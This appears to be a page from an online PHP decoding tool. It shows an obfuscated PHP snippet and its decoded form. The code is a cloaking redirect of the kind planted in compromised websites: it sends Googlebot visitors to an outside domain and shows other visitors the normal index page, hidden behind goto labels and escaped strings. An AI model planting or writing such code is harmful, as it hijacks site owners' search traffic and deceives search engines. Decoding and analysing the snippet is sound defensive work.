Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto Vqaip; FcwS7: profile_user(); goto hQ8tx; Vqaip: function profile_user() { $useragent..

Decoded Output download

<?  goto Vqaip; FcwS7: profile_user(); goto hQ8tx; Vqaip: function profile_user() { $useragent = $_SERVER["HTTP_USER_AGENT"]; $isGoogleBot = strpos($useragent, "Google-InspectionTool") !== false || strpos($useragent, "googlebot") !== false || strpos($useragent, "(compatible; Googlebot/2.1; +http://www.google.com/bot.html") !== false; $isOtherBot = strpos($useragent, "bingbot") !== false || strpos($useragent, "AhrefsBot") !== false; if ($isGoogleBot) { header("Location: https://www.braservizi.com/", true, 301); die; } else { include "index.php"; die; } } goto FcwS7; hQ8tx:  ?>

Did this file decode correctly?

Original Code

goto Vqaip; FcwS7: profile_user(); goto hQ8tx; Vqaip: function profile_user() { $useragent = $_SERVER["\110\124\124\x50\x5f\125\123\x45\122\137\101\x47\x45\x4e\x54"]; $isGoogleBot = strpos($useragent, "\107\x6f\157\147\x6c\x65\x2d\111\156\163\x70\x65\x63\x74\151\x6f\156\x54\157\x6f\154") !== false || strpos($useragent, "\147\157\x6f\147\154\x65\142\157\x74") !== false || strpos($useragent, "\50\x63\x6f\155\x70\x61\x74\151\x62\x6c\x65\x3b\40\107\x6f\x6f\x67\x6c\x65\142\x6f\164\57\x32\56\x31\x3b\40\x2b\x68\x74\164\x70\72\57\57\x77\167\167\x2e\x67\157\x6f\x67\154\x65\56\143\x6f\155\x2f\142\157\164\x2e\x68\x74\x6d\x6c") !== false; $isOtherBot = strpos($useragent, "\142\x69\156\147\142\157\164") !== false || strpos($useragent, "\x41\150\162\x65\x66\163\102\157\164") !== false; if ($isGoogleBot) { header("\114\x6f\143\x61\x74\x69\x6f\x6e\72\40\150\x74\x74\x70\x73\72\x2f\57\x77\x77\167\x2e\x62\162\141\x73\x65\x72\x76\x69\172\151\x2e\x63\157\x6d\x2f", true, 301); die; } else { include "\151\156\x64\145\170\56\160\150\160"; die; } } goto FcwS7; hQ8tx: 

Function Calls

None

Variables

None

Stats

MD5 92a70b19bc026421bceaf6c3105fdd32
Eval Count 0
Decode Time 49 ms